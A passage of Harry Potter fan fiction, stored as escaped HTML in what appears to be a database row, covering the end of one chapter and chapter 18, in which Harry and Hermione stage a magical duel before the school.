his\nshoulder, showering Ginny and Colin who were sitting next to each other on the\nother side of the table with half eaten, half chewed and not chewed at all bits\nof food. It didn\'t look as though either of them actually minded the shower of\nfood. It turned out to be Professor McGonagall. She leaned closer to Harry\'s\near and said, &quot; The Headmaster wishes to speak with you when you are done\nputting the first years back in their dorm rooms. The password to the office is\n\'tooth cavity\'.&quot;</p>\n\n<p>Harry gave a\nsolemn nod, and went back to eating. </p>\n\n<p>Alicia kept\neyeing Harry all throughout the feast. He caught her several times looking at\nhim with an expression that he had associated more with Ron\'s sister, Ginny. So\nit was a relief when Professor McGonagall finally signaled the prefects to take\ntheir charges to their new habitats. Alicia Spinet and Hermione took the first\nyear girls and headed towards the Gryffindor common room, following closely\nbehind them was Harry and the first year boys. The boys didn\'t make a pip as\nthey headed for their destination. Halfway to their destination Harry started\nto walk slower before coming to a full stop. </p>\n\n<p>He turned\naround to see that the boys had stopped as well. He walked back and forth once,\nlike a sergeant inspecting his troops before a drill. He spoke. &quot; By the\nlooks on your faces, I can see all of you belong to Gryffindor. I\'m going to\ngive you a few words of advice that\'ll help you though the year.&quot;</p>\n\n<p>&quot; Number\none, in potions Professor Snape is your teacher. He has a very old grudge\nagainst the Gryffindors, so expect him to pick on you. He\'ll be hard on you.\nThat\'s probably an understatement like Volde&#8230; I mean You-Know-Who is bad.&quot;\nSeveral of the boys shivered at the name but a few, Harry assumed muggleborn, didn\'t\nreact all. &quot; You have two days till your classes actually start and I\nsuggest you spend the time wisely going over the potions book lightly. It might\nnot be much fun, but it would mean less points being taken off the house.&quot;</p>\n\n<p>&quot; Second\npiece of advice. Watch out for Slytherins. Not everyone from that house is bad\nbut most are.&quot; Harry emphasized the word most. He didn&#8217;t want to prejudice\ntheir minds the other way so early, but he thought they could do with a bit of\ninformation.&nbsp; </p>\n\n<p>&quot; Third.\nIf you see some one getting picked on, for any reason, stand up and say\nsomething. Even if it&#8217;s a Slytherin getting picked on. Help him. You\'re\nGryffindors and that\'s what this house does.&quot; </p>\n\n<p>&quot; I\nreserved the last advice for you because it\'s the most important. \'NEVER EVER\nEAT, DRINK OR LISTEN TO WHAT THE TWINS SAY\'. They\'ll play tricks on you at any\nchance they get...OK! Now that I have finished my big brotherly speech...any\nquestion?&quot;</p>\n\n<p>A timid\nlooking boy put his hand up and asked, &quot; Are you Harry Potter?&quot;</p>\n\n<p>&quot; Yes&quot;\nthe timid looking boy\'s eyes went as big as saucers. Harry thought, for a\nmoment he had another Collin type situation on his hands but was happy when the\nboy turned his attention to a portrait on the wall. </p>\n\n<p>&quot; Can we\nsee your scar?&quot; asked another boy who reminded Harry of Draco. Harry could\nsee from the smug expression on his face, he didn\'t believe that the famous\nHarry Potter would be wearing such bad clothing. It really wasn\'t possible to\nsee Harry\'s scar anymore since in the time he had spent in Morocco his hair had grown\ncovering up the scar unless he moved his hair out of the way. </p>\n\n<p>&quot; No you\nmay not.&quot; The reply was swift and cold. &quot; I do not like being stared\nat for something I did when I was one year old. How would you like it if\neveryone started to stare at you because you used to take a dump in your nappy\nwhen you were one year old.&quot; </p>\n\n<p>All the first\nyears laughed at his joke. The boy\'s smug expression was wiped and was replaced\nwith a blushed face and an embarrassed grin. &quot; OK lets go&quot;.</p>\n\n<p>&nbsp;</p>\n\n<p>Once they were\nat the portrait he explained how the door worked. He also explained that the\npassword is changed every two weeks. He explained that keeping the password\nwritten form had allowed once a dangerous criminal to enter it. Just before he\ncame to the stairs that led to the boys dorms he pointed at the girls dorm door\nand said, &quot; I haven\'t had the pleasure of going in there, yet - That\'s the\nway it\'s supposed to be. If you get caught in there you\'ll get expelled\nimmediately. That\'s if you\'re lucky to escape the girls trying to kill you. Now\nfollow me single file and I\'ll let you choose your own beds.&quot; </p>\n\n<p>As soon as the\nboys found their way onto the room, a small scuffle broke out as the boys had\nsome trouble deciding who got which bed. It was terribly fun for Harry to see\nthe timid looking boy jump at the Draco clone. He broke the fight by giving the\nbed to a boy with an Afro.</p>\n\n<p>&nbsp;</p>\n\n<p>When it was\nall finished, he went into the common room to see that all the other levels had\nfinally finished with their feast and were now enjoying a little chitchat.\nHarry surrounded himself in an illusion spell to disguise himself as the timid\nlooking boy. Harry knew he could only keep the spell going for a few seconds so\nhe ran through the incoming crowd and went into one of secret passageways that\nfinished very close to where the gargoyle to the headmaster\'s office was. </p>\n\n<p>&quot; Oof&quot;\ncried Harry when he bumped into something in the passageway. Actually this\nsomething was a person and if Harry was right it was a girl. &quot; What\'s the\nmeaning of this? Get off me you jerk&quot; said the girl. </p>\n\n<p>Harry recognised\nthe voice, <i>&#8216; It was Ginny!&#8217;</i> thought Harry before he said, &quot; Lumos&quot;,\nas he got off her. In the dim light of his wand Harry found Ginny, flat on the\nground. He picked her up by bending his arm into a hook and sliding it behind\nher back. He brought the tip if the wand closer to her face to examine it more\nclosely and he saw the mortified look on her face. Harry realized why when he\nsaw that she wasn\'t alone in there some one was behind her. It was... Collin Creevy!</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Harry!\nOh! Blimey!... er... I can explain&quot; said Ginny. Even in the dim light\nHarry could see her face turn red enough to almost blend in with the darkened\npassageway. A color that her own brother acquired when he realized that\nHermione\'s bra was on his face.</p>\n\n<p>&quot; You\ndon\'t have to explain anything... I know nothing. I saw nothing. &quot; said\nHarry, as quickly went back to going towards his destination.</p>\n\n<p>&nbsp;</p>\n\n<p>Right after\nthe conversation Harry started to move. It was a fair few minutes before he was\nout of the passageway. Once there Harry started to laugh and cry at the same\ntime. Ginny and Collin couple was a very funny one, but thinking about how\nobsessive their children could be with himself, he was genuinely concerned.\nTheir children are bound to be even more obsessed with him then either of their\nparents. When he finally composed himself he walked up to the gargoyle and\nuttered, &quot;tooth cavity&quot;. The gargoyle came to life and jumped out of\nthe doorway. Harry went up the spiral steps and waited until he heard the\ndistinctive voice of the professor calling him. &quot; Come in Harry.&quot;</p>\n\n<p>Harry looked\naround the room and was surprised to see that nothing had changed. Harry knew\nnot what the topic of conversation was about so he started towards the seat\nthat the Professor had motioned toward. In midway the Professor came up to him\nand rather uncharacteristically hugged Harry. &quot; Thank you. Thank you for\nsaving Melina\'s life.&quot;</p>\n\n<p>&quot; You\nknow her?&#8221; asked Harry.</p>\n\n<p>&quot; My\nNiece, to be exact.&quot;</p>\n\n<p>&quot; How is\nshe doing now? I mean I haven\'t seen her for years now. How\'s Shano\ndoing?&quot; </p>\n\n<p>&quot; They\'re\nall fine. I wanted to make sure I got all the facts of the event of the last\nfew days straight.&quot; With that the Professor started to tell what he thinks\nhappened and Harry corrected as he went along. After their talk was finished he\ntold Harry that he had brought the trunk and his books and other things from Morocco and he also told Harry\nto hide his chest well until when it was time. They both knew the meaning of\nthe words, but to anyone who wasn\'t in on the secret it would have had appeared\nto be cryptic. </p>\n\n<p>&nbsp;</p>\n\n<p>When Harry was\nback in the common room, everyone had gone to sleep. He tried going to sleep in\nhis bed but after about an hour struggling to sleep in the soft... too soft...\nbed he gave up and decided to sleep on the long couch that he knew had hard\nseats. Sleep came very soon to him. Harry wanted to try to do astral projection\nbut even getting out of his body proved to be a challenge. So he decided that\nthe next time he wasn\'t so tired he was going to try and get back to using his\npowers. There was just too many centuries of residual magic in the air, and to\nget past that he would need to do a lot more training, testing and&nbsp; bit of luck\n&#8211; and the results would definitely be better, if he wasn&#8217;t so tired.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\nhadn&#8217;t seen Harry come in and was terribly disappointed that he hadn&#8217;t said a\ngood night to her. She didn&#8217;t wait up for him though. She wanted to get an\nearly start the next day. There was a lot of reading to be done, and she wanted\nto see what new books were in the library. In the middle of the night, she\nhowever woke up. After several attempts to go back to sleep, she decided to go\nto the common room and read through her new favorite book. </p>\n\n<p>&quot; Quidditch\nthroughout the ages&quot;.</p>\n\n<p>To be exact it\nwas Harry&#8217;s &quot; Quidditch throughout the ages&quot; book. She had memorized\nthe book in the days after she had thought Harry was dead. Reading it cover to\ncover, it had given her the feeling that Harry was still there with her. She\nhadn&#8217;t returned the book to Harry yet. </p>\n\n<p>When she\nemerged from the doorway she could see, Harry snuggled up near the fire on the\nlong couch. She went and sat down in front of the fire, leaning her back to the\nfront of the couch. Hermione didn\'t make it to the fifth page before the\nsleeping fairy paid her a visit.</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal"><b>Some Historical things: </b></p>\n\n<p class="MsoNormal">Originally at one point in this chapter, I had a author\nnote. It went like this &gt;&gt; &#8220; (A/N: Sorry to burst the bubble for all you\nGinny/Neville or Ginny/Draco .... ewe ...well it&#8217;s better than\nDraco/Hermione.... fans out there but making Draco good would require me to\nchange the law of universe... I really don\'t have to explain my self to you...er...\nsorry I\'ll stop yelling now. ** Author makes a sly comment under his breath\n**)&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Compare that to the fact that I&#8217;ve now become a D/G fan, and\nyou get an idea on how people change in the fandom over time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 18, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 18<br>\n<b>Chapter Name:</b> The Dueling Demonstration</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was the\nfirst to wake up in the morning. Saturday was his usual &#8220;sleeping in&#8221; day but\nfor some reason he woke up early that day. The wake up itself was very nice.\nAll night long he had smelled vanilla &amp; spice and when he awoke he saw the\nsource. Hermione\'s head was in front of his nose and he had smelled her\nconditioner. As he was absentmindedly admiring her locks of frizzy hair, a\nthought sent him scrambling off the couch. <i>&#8216; What would people think if they\ncame in now... more importantly what would Ron think...&#8217;</i> thought Harry,\npanicking before realizing that it was just before six o\'clock in the morning\nand the likelihood of anyone being awake was the same as Snape giving the\nGryffindors a hundred points. </p>\n\n<p>He decided\nthat the best course of action was to wake up Hermione. </p>\n\n<p>&quot;\nHermione. Hermione wake up.&quot; He said gently to her ear. </p>\n\n<p>&quot; No\ndaddy. I don\'t want to go to kindy today&quot; She chewed on some of her own\nsaliva making some noises before saying, &quot; No kindy please...&quot;</p>\n\n<p>Harry chuckled\nat the thought that Hermione actually ever not wanting to go to school. It was\nimpossible to believe considering how much she enjoyed doing her homework. <i>&#8216;\nShe probably slept here all night... I better put her in bed.&#8217; </i>&nbsp;</p>\n\n<p>He gently\npicked her off the ground and headed for the girls\' dorm. It didn\'t take him\nlong to find the room that Hermione shared with others of the same year. He\njust looked for a room that was clean but also had a lot of books and an empty\nbed. </p>\n\n<p>Fortunately\nfor Harry the door was open and that none of the girls were awake yet or so he\nthought. There was a solitary figure in the shadows that he had missed. He put\nher down on the bed and tucked her in and left her a note before quietly\nleaving the room. </p>\n\n<p>&nbsp;</p>\n\n<p>When the warm noon sun finally streamed\nthrough the window of the dorm and onto the face of Hermione, she was surprised\nto wake up in her own bed. Not only that but she was also tucked nicely inside\nher favorite blanket featuring a flying book and a small girl chasing after it.\nFor the life of her, she couldn\'t figure out how she had ended up in her own\nroom, but the answer came when she found a small note on her bed written in Harry\'s\nunmistakably shoddy penmanship.</p>\n\n<p><b>Hey\nHermione,</b></p>\n\n<p>You really\nshouldn\'t have gone to sleep like that... I mean... Do you know how hard it was\nfor me to carry someone as heavy as you... I\'m joking. I could have been\nexpelled for putting you back in the bed. Not that I minded going in there. All\nthose girls and only in their cute little pajamas...</p>\n\n<p><b>Harry</b></p>\n\n<p>P/S: I tried\n&quot;moonwalking&quot; but failed miserably. I can hardly believe mom ever did\nthis. The pain was there almost before I could get out. </p>\n\n<p>Hermione knew\nfor security they had to call his now powers his original stupid name. Having\ngrown up in a muggle orphanage, they were sure Tom Riddle would know what the muggle\nterm Astral Projection was &#8211; it was Hermione&#8217;s idea to do this. She had thought\nthat their communication should be as vague as possible when they weren&#8217;t\ntalking to each other. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\ncouldn\'t help but grin at the note. Harry had acquired an unusual sense of humor\nin the summer and she suspected it had something do with the two days he was\nmissing. <i>&#8216; Why does he seem older,&#8217;</i> thought Hermione for the third time\nafter she had found him alive. Her heart was buzzing with excitement, when she\nthought of all the cookie adventures the three of them would be having that\nyear. </p>\n\n<p>&nbsp;</p>\n\n<p>After a quick\nshower she headed down stairs wearing a shirt that she had &quot;removed\n(without the permission of the owner)&quot; from Harry\'s trunk after she\nthought he had died. When she reached the landing she saw Harry jog into the\ncommon room in his light blue T-shirt and swimming togs that Dudley had abandoned several\nyears earlier. The room was empty except for those two. Hermione couldn\'t wait\nto talk to him when Ron came crashing through the portrait hole and collapsed\non the floor in front of Harry\'s feet.</p>\n\n<p>&quot; Hey!\nRon you ok, Buddy&quot; asked Harry, kneeling down to the floor, with genuine\nconcern in his voice. </p>\n\n<p>&quot; Yeah...I..\'m...just...a...litt..le...\ntired.&quot; Ron replied who was still not done with his panting. Ron had\nagreed to go running with his friend in the hopes that when Harry gets all the\nattention from the girls, he\'ll get some as well. But all the girls it seemed\nhad either forgotten about Harry or just weren\'t interested that day. Though\nAlicia had jogged with them for about an hour before she had to go to the\nmeeting of the Quidditch captains to organize that years Quidditch games.</p>\n\n<p>&quot; Well,\nyou need to get in shape for...&quot; Harry stopped when he saw Hermione come\ndown the stairs in slightly loose denim trouser and very nice white shirt that\nshe wore with the bottom part tied in a knot in front of her.</p>\n\n<p><i>&#8216; Wow! She\nlooks great...&#8217; </i>&nbsp;thought Harry, very uncharacteristically, until he saw that she\nwas wearing his only piece of muggle clothing he had ever bought for himself. &#8216;\n<i>HeY! That\'s the shirt I bought from Harrad&#8217;s! So that\'s where it went to...&#8217;\n</i></p>\n\n<p>He debated\nwhether or not to tell her something in regards to her appearance but decided\nagainst it as Ron was there. When Harry stopped talking in mid sentence Ron\nlooked up to see the cause. Ron\'s mind stopped working for a moment before he\nrecovered saying, &quot; You look ...err... nice Hermione.&quot;</p>\n\n<p>Hermione waited\na few seconds for Harry to say something but when he didn\'t she said rather\ncurtly, &quot; Thanks. At least one of you have the decency to say so.&quot; </p>\n\n<p>Harry quickly\ncaught on to the fact that she had worn the shirt to somehow intimidate him or\neven worse get a complement out of him. Or at least that\'s what his brain\nreasoned.<i> &#8216; This could be fun.&#8217;</i></p>\n\n<p>&quot; Are\ntrying to start a fight Ms. Granger?&quot; said Harry in a mock voice that\nresembled Snape\'s.</p>\n\n<p>&quot; So what\nif I am?&quot; retorted Hermione, sounding a bit more serious than Harry had\nhoped for.</p>\n\n<p>&quot; OK...\nYou name the time and place&quot; said Harry. </p>\n\n<p>Ron was\nsurprised at how easily his two best friends were going at each other\'s throats\njust because of a small matter of Harry not complementing her. &quot; Harry, I\nthink you should apologize and complement her&quot; said Ron taking a side with\nHermione. </p>\n\n<p>&quot; I think\nnot!&quot; said Harry indignantly, &quot; If I liked what she was wearing I\nwould have had said so! Denim trousers and a white shirt -ugh.&quot; </p>\n\n<p>Hermione lost\nher slight smile. If Hermione hadn\'t been so worked up about Harry\'s comment\nshe would have had remembered that it was Harry\'s shirt that she was wearing\nand she could easily deflect the insults to him, but she did not. &quot; You...Youu...\nI\'ll get you for that Harry Potter. You wanted to know the time and place? Uh!?&quot;\n</p>\n\n<p>Harry had\nnever seen Hermione so riled up before and though it was a bit mean of him, he\nachieved his aim in getting her to have a duel with him. &quot; Great hall. After\nLunch. I\'ll organize it with Mr. Pasha. I\'ll beat you up in front of the whole\nschool and I won\'t even get in trouble for it.&quot; She stormed out of the\nroom after that.</p>\n\n<p>Ron was very\nsurprised at Harry. He had never seen Harry act like that before toward\nHermione except when she had told Professor McGonagall about getting a Firebolt.\nSo it was not a surprise when he asked, &quot; What was that about?... Oh!\nDon\'t tell me... It\'s that time of the month again isn\'t it?&quot;</p>\n\n<p>&quot; Ron.\nDon\'t be jerk.&quot; Reprimanded Harry for using such a crude expression. </p>\n\n<p>&quot; It\'s\nlike this.... You know how me and her got taught the Dueling techniques\nright...&quot; he waited for Ron to nod. &quot; Did you know she did Martial\nArts for three year.. THREE YEARS .. before coming to Hogwarts? She also knows\na hell of a lot more spells than I did when we practiced. Those two facts\ncombined are a very bad thing. Well, I had to find that out when we practiced\ntogether. I was the one getting physically beaten up... I got her good on\nspells but only three times I managed to hit her physically. I think I can beat\nher now and this is my chance to get some of my dignity back.&quot;</p>\n\n<p>&quot; You do realize\nif you loose to her that your reputation will be gone.&quot; said Ron.</p>\n\n<p>&quot; If I\nlose, then I deserved to lose and you should know by now the only people\'s\nopinion I gave a damn about is you, Hermione, Sirius and Professor Dumbledore.\nWell, any way... we need to grab a shower and something tells me its\' going to\nbe a long weekend either way.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>When Hermione\nmentioned to Ali Pasha and offered to do a Dueling match to help increase the\nnumber of participants he was sold on the idea. For the next half an hour the rumor\nspread around the school that there would be a Dueling match to get students to\nsignup to more than one class of Dueling. Harry ate very little since too much\nfood had a way of making him sleepy. Ron on the other hand had no such\ncompunction; in the middle of his late lunch the plates vanished leaving him\nvery hungry. Ali Pasha stepped in the middle of the tables and loudly cleared\nhis throat bringing silence to the room. </p>\n\n<p>&quot; Ahem. Attention\nplease.&quot; When the room noise had died down enough he said, &quot; This\nyear all fourth year and up&#8221;, Hermione made a gesture of &#8220;two&#8221; from where she\nwas, to say that it was second year and up. &#8220; Excuse me, second year and up,\nare required to take Dueling as a subject at least once a week. With the darklord\nback in power it\'s advised that you take it three times a week and as an\nelective on the weekends as a club type activity. Now, I have taught two\nstudents amongst you already a few of the basic moves. The technique is more of\na way of thinking than anything else. It teaches you to understand how best to\nuse physical attacks with the magical ones. It\'s been part of the Moroccan\nwizarding culture for over a thousand years, though the revival of the\ntechnique was during the Shozar wars some thirteen years ago.&quot; He paused\nto see general reaction of the crowd. He could see the students were interested\nwhen everyone came closer.</p>\n\n<p>&quot; Now I\nask the participants to come up and demonstrate. Harry. Hermione.&quot;</p>\n\n<p>The pair made\ntheir way to where Ali Pasha was. Surprisingly no one clapped or cheered. They\nwere all too anxious to see what would happen. Most of them had seen the\ndisaster at Lockhart&#8217;s attempt at starting a Dueling club was. When he clapped\nhis hands and all the tables disappeared. He then snapped his fingers and Harry\nand Hermione\'s clothes changes into more appropriate loose fitting clothes.\nThey bowed to each other and took out their wands.</p>\n\n<p>&quot; Begin&quot;\nsaid Ali Pasha. Harry opted to take a stance that he knew, but it was\nunfamiliar to both Ali Pasha and Hermione. Hermione though surprised recovered\nquickly. </p>\n\n<p>She yelled &quot;\nImpedimenta&quot;, hitting squarely on his body. Since she was very close to\nHarry she decided to try a high kick on his face but Harry surprised her by grabbing\nher ankle in mid air and turning her body a full 360 degrees before letting go.\nHermione fell to the floor with a loud thud, but she was back on her feet very\nsoon since Harry tried no counter attack. Harry just grinned.</p>\n\n<p>Again Hermione\nassumed the role of aggressor. She yelled, &quot; Moms serkia&quot; and a\nblinding while exploded in front of Harry\'s face. The light temporarily blinded\nHarry, surprisingly enough the spell only worked on the person it was aimed at.\nHermione followed through by tripping Harry. She then locked Harry in the same\nposition as she had done before in Morocco &#8211; the one that she knew Harry couldn&#8217;t get\nout of. </p>\n\n<p>Hermione\nmanaged to elbow Harry five times in the face before Harry could see again.\nWhen a small treacle of blood came out of his lips Harry saw Hermione regret\nwritten all over her face for hitting him too many times.</p>\n\n<p><i>&#8216; Don\'t\nthink that way Hermione. You can\'t think that way when you\'re fighting... Well\nI\'ll just have to piss you off now don\'t I,&#8217; </i>&nbsp;thought Harry, as he threw Hermione of\nhim the same way he had done when they were in Morocco. </p>\n\n<p>&quot; You\nhave to do a lot better than that Hermione.&quot; Teased Harry, as he wiped\naway the blood from his lips. Hermione didn\'t like to be teased and she forgot\never regretting hitting him too many times. So when Hermione went full force\nall of a sudden the whole room let out a collective gasp. She knew from\nexperience before Harry didn\'t get hurt as much in his mid-section so she had\nto target his groin and upper torso. </p>\n\n<p>After three\nminutes of intense attack she managed to land one good spell on Harry. Harry\nwas fast and he managed to avoid all her physical attacks. Realizing Harry had\nbeen trying to make her tired from the beginning she went into a defensive\nstance. But the defensive stance makes you wait for the other person to hit\nyou. Harry did no such thing. Harry was still trying to off balance Hermione.\nHarry started to circle her. After a few nerve wracking seconds (for Hermione),\nHarry did something she hadn\'t seen before or read about, which by it self was\na big achievement.</p>\n\n<p>He yelled, \' Illuoi\nMulcast\'. Suddenly Harry\'s clones surrounded her... thirteen to be exact.\nThough trivial in terms of use it was a very complicated spell and only handful\nof people knew how to do it since it requires a lot of metal focus to do it.\nAli Pasha, gave a knowing smile at that as he knew of only one other person who\ncould do it and that was during the Shozar Wars and that was done by none other\nthan that man who brought about the end of the war. She tried desperately to\nsee which one was the real one when they all spoke making the whole room\nreverberate with the combined voice of the thirteen Harry Potters. </p>\n\n<p>&quot;\nConfusing isn\'t it?&quot;</p>\n\n<p>Hermione\nthough she found which of the clones was the real one but before she could\nattack it all the clones disappeared leaving only one right behind her. Harry\ntapped on her shoulder and said, &quot; Tag. You\'re it&quot;.</p>\n\n<p>The room\nfilled with laughter as they realized Harry was just teasing her. Hermione was\nfurious, at Harry for treating the demo a game, though she knew it was a result\nof a &#8220;fight&#8221; between them. She started to run after him, causing the great hall\nto be filled with laughter again. Then she got a brilliant idea to cast a\n\'quick\' spell on herself. </p>\n\n<p>For the next\nfew seconds she was almost a blur as she moved faster than the eye could see\nproperly. When she caught him, she pummeled his face and groin area with\npunches, elbows and hexes. Though the hexes didn\'t stay long but the blows made\nhim bleed and bruise. Hermione wasn\'t the only one who hit the other one during\nthose blurring few seconds. Harry managed to give her some of her own medicine,\nwhen he blocked several of her attacks using moves that she had taught him and\nthen retaliating with his own blows. But since she had the head start by the\ntime the \'quick\' spell wore off Harry fell to the floor. </p>\n\n<p>&quot; Ha..ha..\nPotter getting beaten up by a girl&quot; said Malfoy who had forgotten that the\nsame girl had rendered him useless on the train the day before. &quot; Shut up,\nMalfoy. I\'m concentrating.&quot;, said one of the 6th year prefects from Ravenclaw\nwho held his wand tip right to Malfoy\'s nose.</p>\n\n<p>When Harry\nfell to the floor after the beating he almost lost grip on his wand. Which\nwould have had meant that he was defeated. His male ego told him it was time he\nstopped playing. He stood up and cast a spell on himself. It was too low to be\nheard by anyone else. &quot;Stupefy&quot; yelled Hermione as a bright blue beam\nof light sizzled through the air before bouncing off something invisible very close\nto Harry\'s body. The stray spell went right through the invisible shield that\nAli Pasha had erected and hit Draco Malfoy. Draco flew through the air and hit\nthe wall right behind him. Professor Snape, realizing the invisible shield was\ntoo weak since the amount of area it covered was relatively large, got\nProfessor McGonagall to join him to set-up shielding charms. </p>\n\n<p>When Hermione\nsaw the stunning curse just bounce off Harry\'s shield she decided to try the\nbiggest and most powerful legal curse she could do. She yelled, &quot;Aureus Incendio&quot;\n(meaning golden Flame). Her entire body was engulfed in yellow flames until the\nflames started to move to her wand. She aimed straight at Harry not knowing the\nfull strength of the shielding charm. </p>\n\n<p>Hermione had\nexpected for the curse to go right through the shield, but when the spell was\ncast she quickly realized that Harry\'s strategy had worked. She was too weak to\ndo the spell at full power. <i>&#8216; Should be enough though,&#8217;</i> thought Hermione\nas she put everything she had into it. </p>\n\n<p>Hermione was\nwrong... but not by very much. When the bright yellow beam reached the shield\nHarry had no idea, what it was. He felt his shielding charm weaken and collapse\nbehind him. Harry redirected his powers to the front of the shield barely\nmanaging to hold on. If Hermione had put an ounce more of her magic in it Harry\nwould have had been consumed by the yellow flame. </p>\n\n<p>When the\nshielding charm finally managed to deflect the blast it headed back to\nHermione. Hermione didn\'t have enough strength to move out of the way of the\nbright yellow beam so she resigned herself to think that for the next few days\nshe would be in the hospital wing. Something clicked inside of Harry again, the\nsame way it had when Hermione was under attack from the Nundu. He moved faster\nthan he ever had done before and managed to put himself between the deflected\nmagic beam and Hermione. Hermione saw the beam of light hit Harry on his back\nand engulfing him from the back in blaze of yellow flames, for his trouble. </p>\n\n<p>He let out a\nscream that stopped Hermione\'s heart cold. She knew the flame was an advanced\nsort of stunning spell that disabled the cursed person for a few seconds but\nshe had no idea that Harry would have had screamed in pain. She couldn\'t even\nmove to Harry\'s aid when Harry went to the floor in pain. Her eyes started to\nwell up with tears when.... </p>\n\n<p>Amazingly\nHarry got up and literally shook himself off the pain. He yelled to mainly the\ncrowd who were trying to see what was wrong with Harry, &quot; I\'m OK. It\'s\njust my ankle. I think I sprained it&quot;. Hermione then saw Harry walking\ntowards her with a slight limp.</p>\n\n<p>Harry took\nonly three seconds to literally shake off the advanced stunning spell, which\nwas shocking considering the Aurors used them on deatheaters to disable them\nfor between ten to fifteen seconds. It was as if she put a fork in a muggle\ntoaster while it was on. When they were close she could see he was smiling\nbroadly and it had nothing evil in it. She had expected Harry to come to her\nand curse her with something really bad but to her surprise he knelt down in\nfront of her and presented his wand to her. </p>\n\n<p>It was a sign\nof his defeat.</p>\n\n<p>The whole hall\ncheered. Ali Pasha still had the shield erected so every one wasn\'t able to\nrush in there and congratulate them on a fantastic performance.</p>\n\n<p>Harry got up\nand stood next to her shoulder to shoulder. He leaned his head towards Hermione\nand said, &quot; I was just joking when I said those things about you in the\ncommon room. You did look good... I just wanted to get to rile up so we could\nhave a good fight. I\'m sorry.&quot; He then turned his body to wards Hermione\nand said, &quot; You can have my shirt. It looks better on you.&quot; </p>\n\n<p>Ali Pasha\nwalked through the three shielding charms and started to speak. &quot; Everyone&quot;\nThe hall went surprisingly quite. &quot;I hope you liked what you saw. If you\ndidn\'t then think about it this way&quot; he looked around the hall to see if\nProfessor McGonagall or Professor Snape or even Professor Dumbledore was there.\nFinding no one of authority than himself present he said, &quot;... you\'ll get\nto beat up both your friends and enemies and you do it all in the name of\nlearning. Don\'t you wish all your other subjects were like this too?&quot; in\nresponse a thundering cheer went across the room. After he finished he told\nthem to go and see Percy in Ali Pasha\'s class on Monday morning or in the\nweekends at lunch times. </p>\n\n<p>Harry\'s\ninjuries hadn\'t healed yet, since he didn\'t want to expose his powers to anyone\nelse yet. Hermione was weak from her last attack and had to be carried by Harry\nto a table that Professor Pasha made appear out of thin air. Once he put her\ndown, he noticed that she was crying. &quot; What are you crying about now? I\nsaid I\'m sorry... Look if you want me to go on my hands and knees and beg for\nyour forgiveness...&quot; Harry had started to already go down on his hands and\nknees when Hermione caught him.</p>\n\n<p>&quot; It\'s\nnot that... I was just wondering why you took that blast for me?&quot;</p>\n\n<p>&quot; Oh\nThat&quot; said Harry grinning a little, &quot; Well... I was stupid, when I\ndidn\'t attack you after I did that illusion of my 12 other brothers....&quot;.\nHis smile just kept getting bigger. &quot; I didn\'t think that you should have\nto spend several days in the hospital and miss all the new things that we\'re\nsupposed to be learning this year.&quot; </p>\n\n<p>There was a\nhint of blush on her face.</p>\n\n<p><i>&#8216; She\nalways gets like this when I say something about her liking school...&#8217; </i>&nbsp;thought Harry as he\nsaid, &quot; and all because of me... besides I couldn\'t risk anyone\nelse.&quot; Neither Harry nor Hermione had noticed the other two shielding\ncharm go up after the incident with Malfoy. Hermione knew what Harry meant. If\nHarry had used the shielding charm someone from the audience would have had\nbeen hurt. Then Harry\'s face went a little serious. &quot; By the way... that\nwas one powerful beam. I almost didn\'t make back before it hit you... Not to\nmention it almost went through the shielding charm even though I think it was\nonly half strength. What was it?&quot; </p>\n\n<p>&quot; Golden\nFlame&quot; smiled Hermione, but that wasn&#8217;t all that she did. Her face was\nblushing the brightest ever at the complement.</p>\n\n<p>&quot; Ahhh....\nWas it supposed to be that powerful?&quot;</p>\n\n<p>&quot; Yes.\nI\'m sorry... I shouldn\'t have done that...&quot; Hermione tried to finish the\nsentence but she was interrupted by Harry.</p>\n\n<p>&quot; You\nshould be sorry. But-&quot; Harry used his hands to wipe away her tear. &quot;-not\nbecause of using a strong attack on me, but for feeling sorry for it. I told\nyou I wanted to become stronger....&quot; Harry broke off when he heard the\nunmistakable sound of Ron approaching. </p>\n\n<p>It had taken\nfair lot of shouting on Ron\'s part to get Ali Pasha\'s attention, before being\nallowed through the shield. Ron arrived just in time to hear Harry offer\nHermione to heal her wounds. He wondered whether his friend had gone totally Lockheart\non him.</p>\n\n<p>&quot; Harry.\nAre you trying to pull a Lockheart here? You\'ll do some kind of major damage to\nher. Let\'s just take her to the nurse...&quot; he looked at Harry\'s face to see\nthere were several cuts there too. &quot; You need some attention too.&quot;</p>\n\n<p>&quot; No, I\'m\nnot trying to be Lockheart. I\'ve actually done it before.&quot; Harry was a\nlittle snappish when he answered back. &quot; And before you say anything to me\nabout needing to go through three years of training to do it properly. I did it\non my self and Hermione lots of times.&quot; </p>\n\n<p>Harry didn&#8217;t\nwait for Ron to look astounded before he started to murmur the incantations\nunder his breath. Harry\'s wand glowed a little before the glow started to\nstream onto Hermione\'s face. Ron wasn&#8217;t sure if he should be pleased or a bit\njealous that Harry could do as he said, when he saw several cuts to Hermione&#8217;s\nface were gone. He saw her face and hands get Goosebumps and her cheeks turn\npink, well even more than before. When he saw her grab on to the tabletop and\nher knuckles turning white, he mistook the action as one for pain, instead of\nthe almost ecstasy that she was feeling.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron tackled\nHarry to the ground stopping the stream and interrupting the flow of the liquid\naura. It did come as a very big surprise to Harry, but he didn&#8217;t let his mind\nbe clouded with the madness due the sudden attack. &quot; What\'s the hell is\nmatter with you, Harry? Can\'t you see she\'s in pain? Not like Lockheart... My Arse.&quot;\nsaid Ron in anger.</p>\n\n<p>&quot; Is that\nwhat you think?,&quot; Harry did not want to laugh but he couldn\'t stop\nhimself. &quot; Ask her if it hurts?&quot;</p>\n\n<p>After he\nreceived injuries at the hand of the Nundu, he tried his hand for the first\ntime at self-healing. This was a lot more complicated than the doing it on\nsomeone 